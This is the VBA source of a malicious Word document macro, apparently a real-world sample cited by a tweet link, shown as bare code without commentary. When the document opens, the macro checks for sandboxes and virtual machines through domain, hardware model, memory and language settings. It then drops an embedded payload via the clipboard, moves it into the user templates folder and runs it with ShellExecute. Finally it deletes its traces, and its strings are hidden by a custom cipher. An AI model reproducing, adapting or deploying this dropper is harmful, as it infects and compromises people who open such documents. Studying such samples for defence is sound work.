' https://twitter.com/mesa_matt/status/1409935724737085442
Option Explicit

Option Compare Text

Private Declare PtrSafe Function DYjwp8xLU8 Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Dim AEBirCjVh As String

Dim htTnYAV3MKe As String

Private Sub Document_Open()
	
	If glxoug1eUMM Then
		
		Dim GDm9 As String
		
		GDm9 = Options.DefaultFilePath(wdUserTemplatesPath)
		
		If Dir(GDm9 & boYLmeiRpt((2 * 6 - 9))) = "" Then
			
			Call LVXy
			
			Call E5p06tYoZfv
			
			If Len(htTnYAV3MKe) > (8 * 3 - 22) Then
				
				Call dUA5Vi(htTnYAV3MKe)
				
				DYjwp8xLU8 (6 * 3 - 18), vbNullString, Options.DefaultFilePath(wdUserTemplatesPath) & boYLmeiRpt((8 * 1 - 5)), vbNullString, vbNullString, ((6 * 8 - 47))
				
			End If
			
		End If
		
		Call oh7iBSdM
		
	End If
	
End Sub

Sub E5p06tYoZfv()
	
	Dim akI5a
	
	akI5a = Options.DefaultFilePath(wdTempFilePath)
	
	Dim aFNVaZgl3w As Object
	
	Set aFNVaZgl3w = CreateObject(boYLmeiRpt((7 * 2 - 12)))
	
	Call TkFqCJl(aFNVaZgl3w.GetFolder(akI5a), htTnYAV3MKe)
	
End Sub

Function boYLmeiRpt(VrLGSGK) As String
	
	boYLmeiRpt = ThisDocument.Tables((9 * 7 - 62)).Cell(VrLGSGK, (5 * 7 - 34)).Range.Text
	
	boYLmeiRpt = yRlihwO2c(Mid(boYLmeiRpt, (2 * 3 - 5), Len(boYLmeiRpt) - (7 * 2 - 12)))
	
End Function

Sub LVXy()
	
	Dim D18oyHlA As InlineShape
	
	For Each D18oyHlA In ThisDocument.InlineShapes
		
		If D18oyHlA.Type = (6 * 3 - 17) Then
			
			D18oyHlA.Select
			
			Selection.Copy
			
		End If
		
	Next
	
End Sub

Sub dUA5Vi(vJJoW79vg5L As String)
	
	Dim xzkuDRi As String
	
	xzkuDRi = Options.DefaultFilePath(wdUserTemplatesPath)
	
	Name vJJoW79vg5L As xzkuDRi & boYLmeiRpt((9 * 4 - 33))
	
End Sub

Sub oh7iBSdM()
	
	On Error Resume Next
	
	Dim D18oyHlA As InlineShape
	
	For Each D18oyHlA In ThisDocument.InlineShapes
		
		If D18oyHlA.Type = (2 * 1 - 1) Then
			
			D18oyHlA.Delete
			
		End If
		
	Next
	
	ThisDocument.Tables((8 * 5 - 39)).Delete
	
	Selection.MoveRight Unit:=wdCharacter, Count:=1, Extend:=wdExtend
	
	Selection.Copy
	
	ThisDocument.Save
	
	End
	
	On Error GoTo 0
	
End Sub

Function glxoug1eUMM() As Boolean
	
	On Error Resume Next
	
	Dim TkNe5eSQd As String, UE24rgsZ As Object, ftW6, nQOVKfUOld As Object, LC4k As Object
	
	Set UE24rgsZ = CreateObject(boYLmeiRpt((7 * 4 - 23)))
	
	TkNe5eSQd = UE24rgsZ.UserDomain
	
	glxoug1eUMM = True
	
	If TkNe5eSQd = boYLmeiRpt((2 * 9 - 12)) Then Exit Function
	
	Set ftW6 = GetObject(boYLmeiRpt((1 * 6 + 1)) & TkNe5eSQd & boYLmeiRpt((8 * 5 - 32)))
	
	If (VarType(ftW6) <> vbObject) Then Call oh7iBSdM
	
	Set nQOVKfUOld = GetObject(boYLmeiRpt((8 * 3 - 15)))
	
	For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((5 * 5 - 15)))
		
		If DS4nRhaBlr(LC4k.Manufacturer, LC4k.Model) Then Call oh7iBSdM
		
	Next
	
	For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((1 * 2 + 9)), , (11 * 12 - 84))
		
		If LC4k.TotalVisibleMemorySize < (250844 * 321836 - 80726529584#) Then Call oh7iBSdM
		
		If InStr(1, boYLmeiRpt((1 * 4 + 8)), CStr(LC4k.OSLanguage)) > (1 * 1 - 1) Then Call oh7iBSdM
		
		If InStr(1, Join(LC4k.MUILanguages, ","), boYLmeiRpt((5 * 5 - 12))) > (9 * 4 - 36) Then Call oh7iBSdM
		
	Next
	
	If InStr(1, Join(CreateObject(boYLmeiRpt((6 * 6 - 22))).regRead(boYLmeiRpt((2 * 2 + 11))), ","), boYLmeiRpt((4 * 2 + 5))) > (1 * 5 - 5) Then Call oh7iBSdM
	
	On Error GoTo 0
	
End Function

Sub TkFqCJl(hkSNkpx52q As Object, vJJoW79vg5L As String)
	
	On Error Resume Next
	
	Dim mk5JvykXa As Object
	
	For Each mk5JvykXa In hkSNkpx52q.SubFolders
		
		TkFqCJl mk5JvykXa, vJJoW79vg5L
		
		Next mk5JvykXa
		
		Dim Xs2YF2R8 As Object
		
		For Each Xs2YF2R8 In hkSNkpx52q.Files
			
			If Xs2YF2R8.Name = boYLmeiRpt((6 * 9 - 50)) Then
				
				vJJoW79vg5L = Xs2YF2R8
				
			End If
			
			Next Xs2YF2R8
			
			On Error GoTo 0
			
			Exit Sub
			
			ErrHandle:
			
			Err.Clear
			
		End Sub
		
		Function DS4nRhaBlr(Ei5aCGrSkJ, rjcwM53rRoE)
			
			Dim fbajQ, mkD9R As Long, klsLJL4OLr As String
			
			fbajQ = Split(boYLmeiRpt((2 * 8)), ",")
			
			For mkD9R = (7 * 1 - 7) To UBound(fbajQ) - 1
				
				klsLJL4OLr = fbajQ(mkD9R)
				
				If InStr((8 * 1 - 7), Ei5aCGrSkJ, klsLJL4OLr) > (4 * 9 - 36) Or InStr((9 * 2 - 17), rjcwM53rRoE, klsLJL4OLr) > (6 * 6 - 36) Then
					
					DS4nRhaBlr = True
					
					Exit Function
					
				End If
				
			Next
			
			DS4nRhaBlr = False
			
		End Function
		
		Function yRlihwO2c(cmMj6EeRAmG)
			
			Dim PdEN As String, klsLJL4OLr As String, mkD9R As Long, m4sKGWmIY0 As Long, fbajQ, Qqz0g9zhpj
			
			PdEN = ThisDocument.Tables((6 * 8 - 47)).Cell((2 * 7 - 13), (4 * 9 - 35)).Range.Text
			
			PdEN = Mid(PdEN, (2 * 5 - 9), Len(PdEN) - (4 * 9 - 34))
			
			m4sKGWmIY0 = 1
			
			fbajQ = Split(cmMj6EeRAmG, ",")
			
			For mkD9R = (8 * 4 - 32) To UBound(fbajQ) - 1
				
				Qqz0g9zhpj = Chr(CLng(fbajQ(mkD9R)) - Asc(Mid(PdEN, m4sKGWmIY0, 1)))
				
				klsLJL4OLr = klsLJL4OLr + Qqz0g9zhpj
				
				If m4sKGWmIY0 = Len(PdEN) Then
					
					m4sKGWmIY0 = 1
					
				Else
					
					m4sKGWmIY0 = m4sKGWmIY0 + 1
					
				End If
				
			Next
			
			yRlihwO2c = klsLJL4OLr
			
		End Function